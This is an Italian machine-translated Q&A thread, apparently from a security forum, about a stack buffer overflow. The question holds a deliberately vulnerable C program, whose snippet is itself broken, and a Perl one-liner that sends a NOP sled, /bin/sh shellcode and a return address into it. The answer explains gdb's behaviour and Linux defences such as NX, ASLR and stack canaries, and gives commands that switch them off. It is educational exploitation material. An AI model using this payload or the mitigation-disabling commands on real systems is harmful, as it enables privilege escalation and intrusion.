Perché compare "Impossibile trovare il limite della funzione corrente" quando sovrascrivo l'indirizzo ret di un programma vulnerabile?

3

Voglio sfruttare un overflow del buffer basato sullo stack per scopi educativi. Esiste una tipica funzione chiamata con un parametro from main che viene data come input dal programma e un buffer locale in cui il parametro è salvato. nops + shellcode + address_shellcode lo sfrutterò. Dopo il debugging con gdb ho trovato l'indirizzo dello shellcode come passerà come parametro e subito dopo lo strcpy esamino lo stack e $ ebp + 8 che è l'indirizzo di ritorno ha sovrascrivere con l'indirizzo dello shellcode.Quindi ho quello che voglio.Ma quando ho fatto un passo avanti l'esecuzione che ho ottenuto:

->shellcode_address in ?? ()

e poi

Cannot find bound of current function

L'indirizzo di ritorno ha il valore che voglio. Qualche idea su cosa sta succedendo? Anche quando lo eseguo ho un errore di segmentazione e lo ho compilato con -g -fno-stack-protector

Ecco il codice:

void echo(char *s, unsigned int length, long int a, short b)
{
  unsigned char len = (unsigned char) l;
  char errormsg[] = "bla bla bla\n";
  char buf[250] = "You typed: ";

  strcat(buf+11, s);


  fprintf(stdout, "%s\n", buf);



int main(int argc, char **argv)
{
  gid_t r_gid, e_gid;

  /* check arguments */
  if (argc != 2) {
    fprintf(stderr, "please provide one argument to echo\n");
    return 1;
  }


  /* clear environment */
  clearenv();
  setenv ("PATH", "/bin:/usr/bin:/usr/local/bin", 1);
  setenv ("IFS", " \t\n", 1);


  /* temporarily drop privileges */
  e_gid = getegid();
  r_gid = getgid();
  setregid(e_gid, r_gid);


  /* call the echo service */
  echo(argv[1], strlen(argv[1]), 0xbccb3423, 323);

  return 0;
}

Ho scoperto con gdb che se si sovrascrivono 309 byte, si sovrascriverà esattamente l'indirizzo di ritorno con gli ultimi 4 byte del proprio input, che è esattamente ciò che vogliamo. Quindi dal momento che il codice shell è lungo 45 byte, vogliamo che sth voglia: \ x90 x 260. "shellcode". Indirizzo 4bytes (260 + 45 + 4 = 309)

Per trovare l'indirizzo del primo parametro della funzione eseguo più volte gdb con input una stringa lunga 309 byte e l'indirizzo era sempre lo stesso: 0x5ffff648

Quindi se aggiungo un indirizzo (ordine inverso cioè: 0xabcdefgh - > \ xgh \ xef \ xcd \ xab) che è più alto dove il parametro punta, il processore cadrà in un comando NOP, non facendo nulla finché non raggiunge lo shellcode Finisco con questo: r perl -e 'print ("\x90" x 260 . "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh" . "\x3e\xf8\xff\x5f")'

    
posta curious 05.01.2012 - 18:13
fonte

1 risposta

3

La memoria è solo un'enorme sequenza di byte. Quando gdb vuole mostrarti "dove" sei, a lui piace indovinare di quale "funzione" fa parte l'opcode correntemente eseguito, in modo che possa scriverlo ("sei in main (), riga 17"). Per fare ciò, gdb deve utilizzare alcune informazioni aggiuntive, come ad esempio:

  • tabelle dei simboli, che indicano dove inizia ogni funzione nel file eseguibile e possibilmente le loro dimensioni;
  • informazioni di debug (aggiunte da gcc con il flag '-g');
  • analisi euristica del frammento di codice, per rilevare i tratti distintivi del prologo della funzione classica (" push %ebp; movl %esp, %ebp ", alias 0x55 0x89 0xE5) e termina (" ret ", 0xC3).

Il tuo "codice shell", quando nella RAM (nello stack), non si trova in una parte che è mappata dal file eseguibile (è nello stack, invece) e, comunque, non è stata vista dal compilatore, quindi non è coperto né da tabelle di simboli né da informazioni di debug. È anche un pezzo di codice piuttosto atipico, senza prologo (il prologo riguarda la preparazione dello stack in modo che l'argomento possa essere recuperato e lo stack pulito all'uscita) e senza fine: il "codice shell" fa un execve() chiamata di sistema, quindi non si preoccupa di mantenere pulito lo stack o di tornare indietro. Quindi non c'è da meravigliarsi che gdb non riesca a trovare dove si debba iniziare o terminare la "funzione" in cui è saltato.

Il tuo errore di segmentazione è un'altra cosa. La mia ipotesi è che le pagine che contengono lo stack siano contrassegnate come non eseguibili, quindi quando si passa al "codice shell", il kernel intercetta e uccide il processo incriminato. Esistono diversi meccanismi di protezione relativi ai buffer overflow in un sistema Linux (presumo che tu stia usando Linux):

  • Lo stack può essere contrassegnato come "non eseguibile". Su processori x86 a 32 bit, questo può essere ottenuto con segmenti (un residuo dei vecchi tempi) o tramite la MMU (con il bit NX , sulle macchine che lo supportano o con alcuni TLB ninjitsu ), o entrambi.

  • Indirizzo random space randomization modifica gli indirizzi dei vari elementi di un'applicazione, in modo casuale, su ogni esecuzione. Ciò rende molto più difficile per l'attaccante indovinare quale sarà il valore che desidera memorizzare (attraverso un buffer overflow) sullo slot "indirizzo di ritorno". Lo stack non eseguibile significa che l'exploit dovrà saltare ad un pezzo di codice esistente (ad esempio il codice libc), non ad una certa collocazione nello stack; ASLR sposta la libc in giro per colpire un bersaglio difficile.

  • Il codice generato dal compilatore può includere protezioni contro l'accettazione dell'overflow del buffer stesso. Le versioni recenti di gcc genereranno del codice nascosto extra che verifica se si è verificato un di buffer overflow prima che esegue il fatidico ret . Fondamentalmente, un valore casuale "canarino" viene memorizzato all'ingresso della funzione appena prima dello slot "indirizzo di ritorno"; un buffer overflow da una variabile locale, al fine di toccare l'indirizzo di ritorno, dovrebbe "passare sopra" il canarino e (con alta probabilità) cambierà il suo valore. Il codice generato da gcc controllerà il canarino e interromperà il processo se il suo valore è cambiato, prima di tornare dalla funzione.

Compilando con -fno-stack-protector , si disattiva il codice canarino (gcc non ha incluso il codice canarino nell'eseguibile prodotto). Usando sysctl -w kernel.randmoize_va_space=0 , si disattiva ASLR (a livello di macchina). La mia ipotesi è che il primo sistema (pagine stack non eseguibili) sia ancora attivo sulla macchina, quindi il segfault. Potresti provare a disattivare la gestione NX-bit per lo stack del tuo eseguibile utilizzando il comando execstack (non sembra essere parte di una normale installazione di Ubuntu, installare il pacchetto "execstack" per ottenerlo).

    
risposta data 06.01.2012 - 18:20
fonte

Leggi altre domande sui tag